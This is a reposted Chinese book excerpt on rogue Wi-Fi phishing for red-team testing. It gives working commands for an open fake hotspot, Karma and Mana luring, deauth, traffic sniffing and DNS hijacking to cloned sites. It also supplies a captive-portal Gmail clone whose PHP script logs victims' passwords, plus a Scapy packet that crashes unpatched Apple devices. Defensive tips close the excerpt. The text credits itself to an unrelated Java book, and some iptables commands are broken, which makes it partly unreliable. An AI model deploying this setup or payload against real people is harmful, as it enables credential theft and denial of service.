黑客是怎樣找到我們的?以「紅隊」為導向講解近源滲透測試

圖靈教育 發佈 2020-01-02T06:37:01+00:00

10 年前,國內網絡安全圈的黑客們還專注於最初級的無線網絡安全研究,採用最傳統的無線攻擊方法破解Wi-Fi 密碼、蹭網,繼而進行網絡滲透測試。那個時期也是無線區域網安全最火熱的時期。

10 年前,國內網絡安全圈的黑客們還專注於最初級的無線網絡安全研究,採用最傳統的無線攻擊方法破解Wi-Fi 密碼、蹭網,繼而進行網絡滲透測試。那個時期也是無線區域網安全最火熱的時期。無線網絡安全研究者們專注於尋找性能更優良的無線網卡,搭配著自己優化的無線破解平台或直接使用BackTrack、BackBox 以及後來的Kali、NetHunter 等完善環境來對身邊一個又一個無線熱點進行安全評估,體會那種突破限制、接入目標網絡的成就感,同時也完成了對於企業安全評估的「紅藍對抗」。

隨著無線攻防對抗的不斷疊代,許多更有趣的攻擊方式也出現了。例如EvilAP 釣魚攻擊:先偵測由無線客戶端主動發出的Probe 幀中泄露的「歷史連接熱點名稱」,通過軟AP 程序(hostapd)創建同名的釣魚熱點,將無線目標拉入虛假的無線環境,進而發起攻擊或竊取目標網絡流量中的敏感信息。

本書內容共分為7 章及附錄。

 第1 章介紹我們對近源滲透測試的思路、理念以及對該領域未來的展望。

 第2 章以Wi-Fi 為例,介紹基於無線網絡的安全攻防及實例測試,包含家庭、企業級無線環境的常見滲透測試方法,無線入侵防禦解決方案,無線釣魚實戰,以及基於無線特性的高級攻擊利用技術。

 第3~7 章介紹滲透測試人員突破邊界後可使用的各類內網滲透測試技巧,如敏感信息收集、權限維持、橫向滲透、魚叉攻擊、水坑攻擊、漏洞利用、密碼破解等。其中第6 章還介紹了針對門禁系統的RFID 安全檢測技術、針對USB 接口的HID 攻擊和鍵盤記錄器技術、網絡分流器等物理安全測試方法。

 附錄介紹了常見的近源滲透測試設備,並分享了兩個真實的近源滲透測試案例。


2.4 無線釣魚攻擊實戰

隨著 WEP 熱點的減少、WPS 漏洞的修復、高密碼強度 WPA 網絡的增多,只通過破解的方式來攻破 Wi-Fi 網絡已經變得不那麼容易了。而事實上,越來越多的黑客開始對攻擊無線客戶端感興趣,他們通過無線釣魚等技術獲取用戶的敏感信息。

從無線網絡接入者的角度來看,其安全性完全取決於無線網絡搭建者的身份。受到各種客觀因素的限制,很多數據在無線網絡上傳輸時都是明文的,如一般的網頁、圖片等;還有很多網站或郵件系統甚至在手機用戶進行登錄時,將帳號和密碼也進行了明文傳輸或只是簡單加密傳輸(加密過程可逆)。因此,一旦有手機接入攻擊者架設的釣魚熱點,通過該網絡傳輸的各種信息(包括帳號和密碼等)就會被攻擊者所截獲。

在 2015 年央視 3·15 晚會上,我們團隊進行了一場釣魚熱點的演示。在晚會現場,觀眾加入主辦方指定的一個 Wi-Fi 網絡後,用戶手機上正在使用哪些軟體、用戶通過微信朋友圈瀏覽的照片等信息就都被顯示在了大螢幕上。不僅如此,現場大螢幕上還展示了很多用戶的電子郵箱信息。圖 2-87 是現場直播的部分畫面。


特別值得一提的是,主持人在採訪一位郵箱密碼被展示出來的現場觀眾時,這位觀眾明確表示,到現場以後並沒有登錄電子郵箱。造成這種情況的原因是該用戶所使用的電子郵箱軟體在手機接入無線網絡後,自動聯網進行了數據更新,而在更新過程中,郵箱的帳號和密碼都被進行了明文傳輸。這個現場實驗告訴我們:攻擊者通過釣魚熱點盜取用戶個人信息,用戶往往是完全感覺不到的。

很多釣魚熱點並不會設置密碼。智慧型手機在打開 Wi-Fi 功能時,會自動連接這些沒有密碼的熱點,這使得釣魚熱點的攻擊很難被發現。此外,釣魚熱點往往還會起一個很具迷惑性的名稱,甚至直接冒充企業官方熱點名稱,騙取用戶登錄,從而騙得用戶的帳號密碼等信息。

本節將通過搭建一個無線釣魚熱點,展示該攻擊方式的危害性、隱蔽性和低成本性。讀者將學習到構造一個精密的無線釣魚網絡所涉及的所有實現原理等,包括如何使用無線網卡創建熱點、如何吸引更多用戶連接熱點、如何嗅探網絡中的敏感信息、如何利用釣魚網頁獲取用戶敏感信息以及如何配置 Captive Portal 強制用戶訪問釣魚介面。本節的末尾還將給出對無線釣魚攻擊的防護措施。

需要注意的是,本節的實驗需要無線網卡支持 AP 模式才能建立熱點。下面讓我們一次性安裝好需要用到的軟體 hostapd、dnsmasq 及 php7.0-fpm。命令如下:

 apt update

2.4.1 創建無線熱點

1. hostapd

hostapd 是一個用於AP和認證伺服器的守護進程,它實現了與 802.11相關的接入管理,支持 802.1X、WPA、WPA2、EAP 等認證。通過 hostapd 可以將無線網卡切換為 AP 模式,建立 OPEN、WEP、WPA或 WPA2 等無線網絡,還可以設置無線網卡的各種參數,包括頻率、信號、Beacon 幀發送間隔、是否發送 Beacon 幀、如何響應 Probe Request 幀及 MAC 地址過濾條件等。

出於建立釣魚熱點的目的,自然會優先選擇 OPEN 這種無加密的模式。首先,創建配置文件open.conf,在其中輸入以下語句:

interface=wlan0
ssid=FreeWiFi
driver=nl80211
channel=1
hw_mode=g

其中 interface 表示無線網卡接口名稱,ssid 表示熱點名稱,channel 表示信道,hw_mode 用於指定無線模式,g代表 IEEE 802.11g。讀者可根據實際情況做相應修改。

構建一個可使用的無線網絡,除了創建接入點本身外,還需要配置 DHCP 和 DNS 等基礎服務。dnsmasq 是一款可同時提供 DNS 和 DHCP 服務功能、較易配置的輕量工具。作為 DNS 伺服器,dnsmasq可以通過緩存 DNS 請求來提高訪問已經訪問過的網址的連接速度。作為 DHCP 伺服器,dnsmasq 可以為區域網PC分配內網IP位址和提供路由。其默認配置文件為/etc/dnsmasq.conf,其中包含大量的注釋,用以說明各項功能及配置方法。在默認情況下,它會開啟 DNS 功能,同時加載系統/etc/resolv.conf 文件中的內容作為上游 DNS 信息。只需要在配置文件中設置特定的 DHCP 地址池範圍和所服務的網絡接口即可。代碼如下:

#/etc/dnsmasq.conf
dhcp-range=172.5.5.100, 172.5.5.250, 12h
interface=wlan0

保存後運行以下命令重啟服務以使配置生效:

systemctl restart dnsmasq

在運行 hostapd 創建熱點前,還需要使用幾條命令消除系統對網卡 AP 功能的限制,同時為網卡配置 IP 地址、掩碼等信息,最後才能啟動 hostapd 程序。命令如下:

nmcli radio wifi off
rfkill unblock wlan
ifconfig wlan0 172.5.5.1/24
hostapd open.conf

運行效果如圖 2-88 所示,隨後就可以使用手機等設備連接該熱點。

2. airbase-ng

我們也可以使用 airbase-ng 工具來創建熱點。使用 airbase-ng 會新增一個 at0 接口,需要將/etc/ resolv.conf 配置文件中的接口修改為 interface=at0,隨後就可以運行以下命令來啟動熱點:

 airbase-ng wlan0 -c 9 -e FreeWiFi 
 ifconfig at0 172.5.5.1/24

在上述命令中,-c 用於指定信道,-e 用於指定熱點名稱。

2.4.2 吸引無線設備連接熱點

通常情況下,將熱點名稱設置為 Free WiFi 類似的字眼就能吸引許多蹭網的用戶主動連接。除此外,攻擊者還有其他辦法讓手機等設備自動連上熱點,例如構建一個用戶之前連過的熱點名稱(如CMCC、StarBucks 等),同樣為無加密的方式。當無線設備搜索到該同名、同加密類型的歷史連接熱點(後文稱為已保存網絡列表)就會嘗試自動連接。那麼,是否可以通過某種方式獲取無線設備的已保存網絡列表信息呢?

無線設備為了加快連接速度,在執行主動掃描時會對外廣播曾經連接過的無線熱點名稱,如圖 2-89所示。一旦攻擊者截獲這個廣播,自然就能知道用戶連過哪些熱點,隨後把所有的無線熱點名稱偽造出來欺騙設備自動連接。

如果某天你發現自己手機網絡列表中竟然出現了大量連接過的熱點名稱(本不該出現在當前地理位置),那麼說明有可能被這種方式攻擊了。

1. Karma

2004 年,Dino dai Zovi 和 Shane Macaulay 兩位安全研究員發布了 Karma 工具。Karma 能夠收集客戶端主動掃描時泄露的已保存網絡列表①並偽造該名稱的無密碼熱點,吸引客戶端自動連接。

如圖 2-90 所示,一個客戶端發出了對兩個不同熱點名稱(Home 和 Work)的 Probe Request 請求, Karma 對包含這兩個熱點名稱的請求都進行了回復。這實際上違反了 802.11 標準協議,無論客戶端請求任何 SSID,Karma 都會向其回復表示自己就是客戶端所請求的熱點,使客戶端發起連接。


一款知名的無線安全審計設備——WiFi Pineapple(俗稱「大菠蘿」)便內置了 Karma 攻擊的功能,由無線安全審計公司 Hak5 開發並售賣,從 2008 年起到目前已經發布到第六代產品,如圖 2-91 所示。


①已保存網絡列表有時也稱為首選網絡(preferred network)或信任網絡(trusted network)。

Hak5 公司的創始人 Darren Kitchen 曾在一次會議上發表了有關的安全演講。在現場,他開啟Pineapple 進行演示,在螢幕上展示了一份長長的設備清單,包含黑莓、iPhone、Android 和筆記本電腦等。這些設備自認為連接到了賓館或星巴克的 Wi-Fi 熱點,實際上它們都受到了 WiFi Pineapple 的欺騙而連接到其所創建的釣魚網絡。

通過-P 和-C 參數同樣可以在 airbase-ng 中開啟 Karma 模式:

  airbase-ng wlan0 -c 1 -e FreeWiFi -P -C 30

運行結果如圖 2-92 所示。


不過在今天,Karma 攻擊已經不太好使了。因為各手機廠商了解到 Directed Probe Request 會泄露已保存網絡列表信息,可能導致終端遭到釣魚攻擊,所以在較新版本的手機系統中都改變了主動掃描的實現方式:主要是使用不帶 SSID 信息的 Broadcast Probe Request 取代會泄露信息的 Directed Probe Request,兩者的對比如圖 2-93 所示。


採用 Directed Probe Request 的客戶端會定時發送攜帶 SSID 信息的 Probe Request 幀,這導致已保存的網絡列表信息泄露;而在 Broadcast Probe Request 中,客戶端的 Probe Request 幀中的 SSID 欄位為空,所有收到該請求的熱點都會回復包含熱點自身 SSID 信息的 Probe Response 幀,隨後客戶端再根據熱點回復的 SSID 來決定是否連接。如此,在實現原有掃描功能的同時,還解決了泄露信息的問題。

我們知道,當熱點配置為隱藏模式時,將不會對外發送 Beacon 幀,客戶端想要自動連接隱藏熱點的唯一方法就是持續不斷地發送帶有 SSID 信息的 Directed Probe Request,顯然這會導致客戶端泄露已保存的隱藏熱點名稱。後來 iOS 對此做了改進,設備會先檢測周圍是否存在隱藏熱點,當至少存在一個隱藏熱點時才會發送 Directed Probe Request 幀,不過這只是稍微增加了一些利用難度。

2. Mana

在 2014 年的 DEFCON 黑客會議上,由 Dominic White 和 Ian de Villiers 發布了 Mana 工具。Mana工具可以被理解為 Karma 2.0,它針對前面提到的問題做了以下一些改進。

(1) 收集周圍可能存在的 Directed Probe Request 幀中的 SSID 信息或者由用戶自定義的熱點名稱,將其製作成列表。當接收到 Broadcast Probe Request 時,Mana 工具會將列表中的每一個 SSID 依次構造成 Probe Response 幀向客戶端回復。

(2) 針對 iOS 的隱藏熱點處理,Mana 工具會自動創建一個隱藏熱點用於觸發 iOS 設備發送 Directed Probe Request。

(3) 增加了偽造 PEAP 等類型的 EAP SSL 方案熱點的功能,可以抓取並破解 EAP Hash。破解後將認證信息存入 Radius 伺服器,當客戶端下次請求時就能成功連接上熱點。

簡單來說,Mana 工具會收集 Directed Probe Request 幀內的 SSID 信息或由用戶自定義的開放式熱點信息(如機場、公司、商場的 Wi-Fi 等)構成一個列表,隨後,Mana 工具會對客戶端的 Broadcast Probe Request 請求回複列表中的每一個熱點名稱,以期望覆蓋到客戶端曾經連接過的熱點,如圖 2-94 所示。


總結一下,吸引用戶設備連接到惡意熱點有以下方式。

(1) 偽造常見的公共熱點,用戶受騙,會主動點擊發起連接。

(2) 從 Directed Probe Request 幀中獲得 SSID 信息,偽造同名熱點,欺騙用戶設備自動連接(舊版本系統設備、隱藏熱點)。

(3) 通過 Mana 等工具收集熱點列表,把列表中的所有熱點名稱回復給每個 Broadcast Probe Request幀的發送者,如果覆蓋到客戶端曾經連接過的熱點,會自動連接。

在 Kali Linux 中可以通過源倉庫安裝 Mana 套件,其中就包含了加入 Mana 攻擊的 hostapd 版本。安裝命令如下:

apt install mana-toolkit

安裝完成後,會默認生成一個/etc/mana-toolkit/hostapd-mana.conf 配置文件,如圖 2-95 所示。

該配置文件如 hostapd 程序一樣,可以進行接口、熱點名稱及信道等配置,其中位於 31 行的enable_mana=1 表明開啟 Mana 功能。隨後運行 hostapd-mana,命令如下:

cd /usr/lib/mana-toolkit
 ./hostapd /etc/mana-toolkit/hostapd-mana.conf

效果如圖 2-96 所示。

就建立釣魚熱點的場景而言,選擇一家提供免費無線網絡、電源和座位的咖啡館是再好不過的。可以簡單地將熱點名稱改為與店裡的免費熱點名稱一致,同時使用另一塊網卡發起 deauth 拒絕服務攻擊使周圍客戶端掉線,如此就可以將周圍的客戶端吸引到我們的熱點上。

2.4.3 嗅探網絡中的敏感信息

當我們的設備能通過無線或有線的方式接入網際網路時,為了使用戶設備上的軟體有更多網絡交互並獲取更多的信息,可以將釣魚網絡的流量轉發至擁有網際網路權限的網卡,從而使釣魚網絡也能連上外網。可以按照下面的操作步驟進行。首先開啟 IP 路由轉發功能:

sysctl -w net.ipv4.ip_forward=1

這種方式可以立即開啟路由功能,但如果系統重啟,設置的值會丟失。如果想永久保留配置,可以修改/etc/sysctl.conf 文件將 net.ipv4.ip_forward=1 前的「#」去掉並保存。

隨後還需設置 iptables 規則,將來自釣魚網絡的數據包進行 NAT(network address translation,網絡地址轉換)處理並轉發到外網出口。讀者需要自身設備情況,將 eth0 修改為具有外網權限的網絡接口。命令如下:

iptables -t nat - POSTROUTING -o eth0 -j MASQUERADE

當用戶連入網絡後,由於所有的網絡請求都將經由我們的網卡進行轉發,所以可以使用 Wireshark、 Tcpdump 等工具直接觀察經過該無線網卡的所有流量,如圖 2-97 所示。


1. Bettercap

Bettercap 是一個模塊化、便攜、易於擴展的中間人攻擊框架。在 2018 年發布的 Bettercap 2.0 版本使用 Golang 進行了重構,除了對原有的 MITM 攻擊模塊進行升級外,還加入了 802.11、BLE 攻擊的模塊。Bettercap 擁有十分強大的功能,這裡只會使用其流量嗅探功能,讀者若有興趣,可根據幫助內容進一步探索。

首先啟動 Bettercap,通過參數指定建立無線熱點的網絡接口 wlan0 並查看網絡內的活躍主機,命令如下:

bettercap -iface wlan0 
net.show

運行效果如圖 2-98 所示。


前面提到,由於整個無線網絡的流量會經過我們的網卡進行轉發,在這裡只需打開嗅探功能就可看到所有客戶端的網絡流量:

net.sniff on

此時所有網絡請求(如 DNS 查詢、HTTP 請求等)都將在終端中顯示其信息,如圖 2-99 所示。


除此之外,一旦用戶有 POST 提交,會將提交中的每個欄位進行展示,這其中可能會涉及帳號等敏感信息,如圖 2-100 所示。


2. Driftnet

Driftnet 是一款簡單、實用的圖片捕獲工具,可以很方便地抓取網絡流量中的圖片。使用 driftnet -i wlan0命令運行 Driftnet 程序,會在彈出的窗口中實時顯示用戶正在瀏覽的網頁中的圖片,如圖 2-101所示。


2.4.4 利用惡意的 DNS 伺服器

很多時候,我們會面臨無外網的情況,用戶設備上的軟體由於無法與其伺服器交互,大大減少了敏感信息暴露的機會。除了被動嗅探流量中的信息外,還可以在本地部署釣魚網站來誘導用戶填入敏感信息。

無線客戶端連接網絡時,通過 DHCP 服務不僅能獲取到本地的 IP 地址,還包括 DHCP 服務指定的 DNS 服務地址。當我們可以決定用戶的 DNS 解析結果時,釣魚攻擊就可以達到比較完美的效果——介面和域名都與真實網址一致。在本節中,我們將學習如何操縱用戶的 DNS 解析結果,從而將用戶對任意網址的訪問解析到本地。

實驗目的:克隆 www.google.cn 介面(見圖 2-102)到本地,並使無線客戶端對指定網頁的訪問指向該克隆介面。


(1) 打開網頁 www.google.cn,通過把網頁「另存為」的方式,將代碼下載到 Downloads 目錄。接著需要配置 Web 伺服器,以 nginx 為例,打開配置文件/etc/nginx/sites-enable/default,輸入以下內容:

server {
listen 80 default_server;
root /var/www/fakesite;
index index.html
location / {
try_files $uri $uri/ /index.html;
  }
}

(2) 該配置文件指定本地 Web 服務監聽 80 埠並以/var/www/fakesite 為根目錄,將下載的 HTML代碼放置到 Web 目錄中並重啟 nginx 服務,隨後通過瀏覽器訪問 172.5.5.1 查看效果。命令如下:

mkdir /var/www/fakesite
cd /var/www/fakesite
cp -r /root/Downloads/Google* .
mv Google.html index.html
systemctl restart nginx

當網頁效果如圖 2-103 所示,即配置成功。


對 DNS 服務進行配置,同樣打開 dnsmasq 的配置文件/etc/dnsmasq.conf,以 address=/url/ip的格式寫入解析規則,表示將指定 URL 解析到指定 IP 地址。如果 url 處填寫為#,將解析所有的地址,隨後重啟 dnsmasq 服務。代碼與命令如下:

 #/etc/dnsmasq.conf
address=/#/172.5.5.1
systemctl restart dnsmasq

(3) 通過手機連接該熱點,對任意地址進行訪問測試(如 baidu.com),如果配置無誤,將出現如圖 2-104 所示的效果。


當用戶看到一個介面一模一樣、域名也一模一樣的網站,很難察覺到這是個釣魚站點。

2.4.5 配置 Captive Portal

在真實的場景中,更可能對一個帶有登錄的介面進行克隆,這樣能獲取用戶輸入的帳號密碼信息。本節將構造一個帶有登錄介面的釣魚網站,讀者可學習如何修改現有的登錄認證代碼,使其配合iptables 和 nginx 來配置常在公共無線網絡中使用的 Captive Portal 認證。

在 2.3.3 節中我們了解到,Captive Portal 認證通常被部署在公共無線網絡中,當未認證用戶連接時,會強制用戶跳轉到指定介面。在 iOS、Android、Windows、Mac OS X 等系統中其實已經包含了對 Captive Portal 的檢測,以 Android 系統為例,當設備連入無線網絡時會嘗試請求訪問 clients3.google. com/generate_204 並根據返回結果來判斷網絡狀況。當返回 HTTP 204 時,表示網絡正常;如果返回了HTTP 302 跳轉,手機就會認為該網絡存在網絡認證,並以彈窗等方式顯示在手機中,如圖 2-105 所示的提示信息。iOS、Windows 等系統也都採取類似的檢測邏輯。


單擊該提示就會直接打開認證介面。顯然,一個熱點配置了 Captive Portal 後會更顯得像是一個「正式」的熱點,同時利用該特性能讓用戶直達釣魚介面。

1. iptables

iptables 是一種能完成封包過濾、重定向和網絡地址轉換(NAT)等功能的命令行工具。藉助這個工具可以把用戶的安全設定規則執行到底層安全框架 netfilter 中,起到防火牆的作用。

先通過 iptables 對來自無線網絡的流量進行配置:

1  iptables -A FORWARD -i wlan0 -p tcp --dport 53 -j ACCEPT
2  iptables -A FORWARD -i wlan0 -p udp --dport 53 -j ACCEPT
3  iptables -A FORWARD -i wlan0 -p tcp --dport 80 -d 172.5.5.1 -j ACCEPT
4  iptables -A FORWARD -i wlan0 -j DROP
5  iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination
6 iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j DNAT --to-destination
172.5.5.1:53
7 iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 53 -j DNAT --to-destination
172.5.5.1:53

在上述命令中,第 1~4 行表示將所有網絡流量包丟掉,但允許 DNS 查詢及向網關特定埠請求的流量(在本例中是 172.5.5.1 的 80 埠);第 5 行表示將來自 NAT 網絡的對 80 埠的數據請求都指向 172.5.5.1 的 80 埠;第 6~7 行表示將來自 NAT 網絡的對 53 埠的 TCP、UDP 請求都指向 172.5.5.1的 53 埠。當這些 iptables 規則生效後,會有什麼效果呢?

假設一部 Android 手機連接了該無線網絡,手機會向 clients3.google.com/generate_204 發送一條請求。這命中了第 5 行的策略,實際請求被轉發到了 172.5.5.1 的 80 埠。根據第 3 行的策略,對 172.5.5.1 80 埠的請求是被允許的。最終,客戶端的請求到達了本地伺服器的 80 埠。

2. nginx

接下來的任務是在本地啟動HTTP服務,並配置網頁信息及對相應請求的 302跳轉等。同樣以nginx為例,打開/etc/nginx/sites-enabled/default 文件,修改為以下配置:

server {
listen 80 default_server;
root /var/www/html;
location / {
try_files $uri $uri/ /index.html;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
}
}

在上述配置中,會將/var/www/html 指定為 Web 根目錄,當訪問不存在的路徑時都會被 302 跳轉到 index.html 文件。同時還開啟了對 PHP 文件的解析,因為後續會使用 PHP 程序來將用戶輸入的帳號保存到本地。

我們直接使用 Kali 系統中 Setoolkit 工具的 Gmail 模板,介面如圖 2-106 所示。


修改該模板以用作認證介面。首先複製一份該模板到我們的 Web 根目錄:

cp /usr/share/set/src/html/templates/google/index.template /var/www/html/index.html

由於該模板介面中使用了遠程 Google 伺服器上的圖片和 CSS 文件,而釣魚網絡可能處於無外網的狀態,這可能導致用戶無法加載。我們應該將遠程圖片下載到本地,並將 index.html 中的引用地址指向本地文件(此步略)。你也可直接刪掉相應的行,以「png」和「css」為關鍵詞進行搜索。

尋找用於提交帳號信息的 form 表單(撰寫本書時,相關代碼位於 912 行附近),將其中的 action值改為./post.php,如圖 2-107 所示。


同時在 Web 根目錄/var/www/html 中創建 post.php 文件,寫入以下內容:

<?php
$file = 'log.txt';
file_put_contents($file, print_r($_POST, true), FILE_APPEND);
?>
<meta http-equiv="refresh" content="0; url=./.." />

還需要為post.php 文件及所在文件夾設置用戶權限:

chmod ug+wx . -R

對於iOS 設備,還依賴hotspot-detect.html 文件中的特定值。創建該文件並輸入以下內容:

 <HTML>
  <HEAD>
<TITLE>Network Authentication Required</TITLE>
<META http-equiv="refresh" content="0; url=captive.html">
</HEAD>
<BODY>
<p>You need to <a href="index.html">authenticate with the local
network</a> in order to gain access.</p>
</BODY>
</HTML>

最後,重啟nginx 及php 服務使配置生效,命令如下:

systemctl restart nginx
systemctl restart php7.0-fpm

到此,所有的配置工作就完成了。為了以後能夠更方便地啟動該熱點,可以將所有的啟動命令寫到腳本中。以下腳本用於啟動帶 Captive Portal 功能的 Wi-Fi 熱點,文件保存為 startwifi_portal.sh,讀者可根據需求自行修改命令內容:

#!/bin/bash
iptables -F
iptables -t nat -F
iface=wlan0
ifconfig $iface up
iptables -A FORWARD -i wlan0 -p tcp --dport 53 -j ACCEPT
iptables -A FORWARD -i wlan0 -p udp --dport 53 -j ACCEPT
iptables -A FORWARD -i wlan0 -p tcp --dport 80 -d 172.5.5.1 -j ACCEPT
iptables -A FORWARD -i wlan0 -j DROP
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination
172.5.5.1:80
iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j DNAT --to-destination
172.5.5.1:53
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 53 -j DNAT --to-destination
172.5.5.1:53
#iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
systemctl restart dnsmasq
systemctl restart nginx
systemctl restart php7.0-fpm
cat open.conf
nmcli radio wifi off
rfkill unblock wlan
ifconfig $iface 172.5.5.1/24
hostapd open.conf


文件保存後,還需設置執行權限,命令如下:

chmod a+x startwifi_portal.sh

運行下面的命令即可查看效果:

 ./startwifi_portal.sh

使用手機連接該熱點,會立即得到需要認證的提示,如圖2-108 所示。



打開提示後便出現了預設的釣魚介面,如圖2-109 所示。可以嘗試在登錄框中輸入任意帳號密碼並單擊Sign in 按鈕進行提交。


在Web 根目錄下,可以查看記錄了用戶輸入信息的log.txt 文件,內容如圖2-110 所示。


2.4.6 綿羊牆

綿羊牆是一套釣魚熱點風險體驗系統,介面如圖 2-111 所示。它模擬了黑客建立釣魚熱點、竊取用戶敏感信息的整個過程,用來讓觀眾親身感受釣魚熱點的危險性。


最早的綿羊牆(Wall of Sheep)起源於 2002 年美國的 DEFCON 黑客會議。在會議上,一群黑客偶然坐到一起,將現場正在使用不安全無線網絡的參會者們的用戶名和密碼寫在餐廳的紙盤子上,並貼到了牆上,還在一旁寫了個大大的 Sheep。他們這樣做,一方面是想教育公眾「你很可能隨時都被監視」,另一方面是想讓那些參會者難堪——來參加黑客大會的人,自身也不注意安全。從此,綿羊牆項目成為西方舉行各種黑客大會或安全大會上經常出現的趣味活動。黑客們每次都會想出各種新的花樣在大會現場製造陷阱,入侵參會者的計算機和手機,竊聽網絡活動,並將結果投影展示在綿羊牆上,如圖 2-112 所示。


隨著近些年來國內移動網際網路的快速發展,無線網絡越來越多地出現在家庭、公共場所、辦公樓等區域,但無線網絡的安全風險一直未被公眾所熟知。直到 2015 年的央視 3·15 晚會「釣魚熱點」 環節的演示(見圖 2-113),才第一次讓國內較為廣大的群體對此有了直觀認識。


為了更廣泛地傳播,我們結合國內用戶的上網習慣,以 3·15 晚會的釣魚熱點功能為基礎,將綿羊牆系統進行了進一步升級,並將整套系統集成到一台可攜式裝置中。只需要接通電源並插入網線就會自動建立熱點並嗅探熱點網絡內的敏感信息。如圖 2-114 所示,當體驗用戶連接熱點後,其設備型號、正在瀏覽的網址、輸入的帳號信息都會被顯示在螢幕上,甚至用戶手機瀏覽器的實時截圖及朋友圈裡的照片都可能被黑客獲取,如圖 2-115 所示。


實際上,本節幾乎已經對所有製作綿羊牆所需要的技術原理進行了介紹,讀者可以嘗試結合本節內容,靈活運用各種技術,構建一個屬於自己的綿羊牆版本。

自 2015 年起,我們的綿羊牆系統已成為多屆 ISC 網際網路安全大會、首都網絡安全日會展的演示項目,如圖 2-116 所示,其直觀的互動體驗和演示效果引起了參會觀眾的廣泛關注。在 2016 年年底,綿羊牆還作為唯一的黑客互動演示項目入駐中國科學技術館。


除了提升公眾安全意識外,綿羊牆還間接促進了許多網際網路產品在安全方面的設計。它的大部分功能依賴於對未加密網絡流量的嗅探,經過多年來媒體的跟蹤報導,許多廠商也都逐漸認識到移動端網絡環境的不確定性,對自己的應用服務採取 HTTPS 等安全措施,在保護用戶數據安全性方面得到了大幅提升。

雖然這間接導致了綿羊牆部分展示功能不再奏效,但是符合我們的初衷——從攻擊的角度展示風險並引起公眾關注,進而促進相關廠商提升自身產品的安全性。就綿羊牆系統的使命而言,我們認為已經實現。

2.4.7 緩衝區溢出漏洞(CVE-2018-4407)

當受害者的設備與攻擊者的設備處在同一 Wi-Fi 網絡下,受害者設備除了容易遭到嗅探網絡流量泄露敏感信息外,還容易遭受各種各樣的漏洞攻擊,如緩衝區溢出漏洞(CVE-2018-4407)。

CVE-2018-4407 是安全研究員 Kevin Backhouse 在 XNU 系統內核中發現的緩衝區溢出漏洞,攻擊者可以利用該漏洞進行遠程代碼執行攻擊。Kevin 在推特中給出了 PoC(漏洞驗證腳本)和演示視頻,可以使得同一區域網下的 MacBook 和 iPhone 設備崩潰。

CVE-2018-4407 漏洞的影響版本及設備範圍如下。

□ iOS 11 及更早版本:所有設備(升級到iOS 12 的部分設備)。

□ macOS High Sierra(受影響的最高版本為10.13.6):所有設備。

□ macOS Sierra(受影響的最高版本為10.12.6):所有設備。

□ OS X El Capitan 及更早版本:所有設備。

我們可以通過 Scapy 工具發送特殊數據來觸發該漏洞,首先在命令行中輸入 scapy 打開工具,隨後向目標設備發送一段特殊構造的 TCP 包:

send(IP(dst="1.2.3.4",options=[IPOption("A"*18)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

其中的 dst 參數需要根據實際情況修改為目標 IP 地址。利用 2.4.3 節中提到的 Bettercap 工具可以查看當前網絡的活躍主機列表。

因為該漏洞較新,所以如果你的蘋果設備沒有及時更新版本,就會出現如圖 2-117 所示的崩潰介面。


通過類似的漏洞利用方式,甚至可以實時監控新連入網絡的客戶端,一旦發現蘋果設備就自動發送測試代碼,達到用戶一連上 Wi-Fi 熱點就死機的效果。

2.4.8 如何抵禦無線釣魚攻擊

前面的內容以攻擊者的角度詳細討論了釣魚熱點的構建方式及可能造成的危害,相信讀者已經體會到這是一種低成本、高回報的攻擊方式。那麼作為用戶,該如何避免遭到釣魚熱點的攻擊呢?可以遵循以下簡單規則來保護個人數據。

(1) 對公共 Wi-Fi 網絡採取不信任的態度,儘量不連接沒有密碼保護的無線網絡。

(2) 在使用公共熱點時,儘量避免輸入社交網絡、郵件服務、網上銀行等登錄信息,避免使用網銀、支付寶等包含敏感信息的應用軟體。

(3) 在不使用 Wi-Fi 時關閉 Wi-Fi 功能,避免由自動連接功能帶來的風險。

(4) 在有條件的情況下,使用虛擬專用網絡(VPN)連接,這將使用戶數據通過受保護的隧道傳輸。

以上策略都依靠用戶自身的安全意識,實際上對於企業級用戶而言,要求每一位員工都擁有良好的無線安全意識且能在日常使用時做到,是很難達到的。對於像企業這樣擁有對一定區域無線網絡防護需求的用戶來說,可以考慮部署 WIPS 產品來抵禦無線攻擊。以在 2.3.6 節中提到的 WIPS 產品 「天巡」為例,當它檢測到有第三方熱點偽裝成白名單內官方熱點名稱時,會自動對該惡意熱點進行阻斷,切斷一切無線設備對該熱點的連接,如此便可在很大程度上抵禦類似的釣魚熱點攻擊。


——本文內容摘自《Java 實戰(第2版)》


目錄

前言  vi

第1章 鳥瞰近源滲透  1

第2章 Wi-Fi安全  14

第3章 內網滲透  143

第4章 權限維持  201

第5章 網絡釣魚與像素追蹤技術  222

第6章 物理攻擊  239

第7章 後滲透測試階段  269

附錄A 打造近源滲透測試裝備  305

附錄B 近源滲透測試案例分享  314

社區試讀:

關鍵字: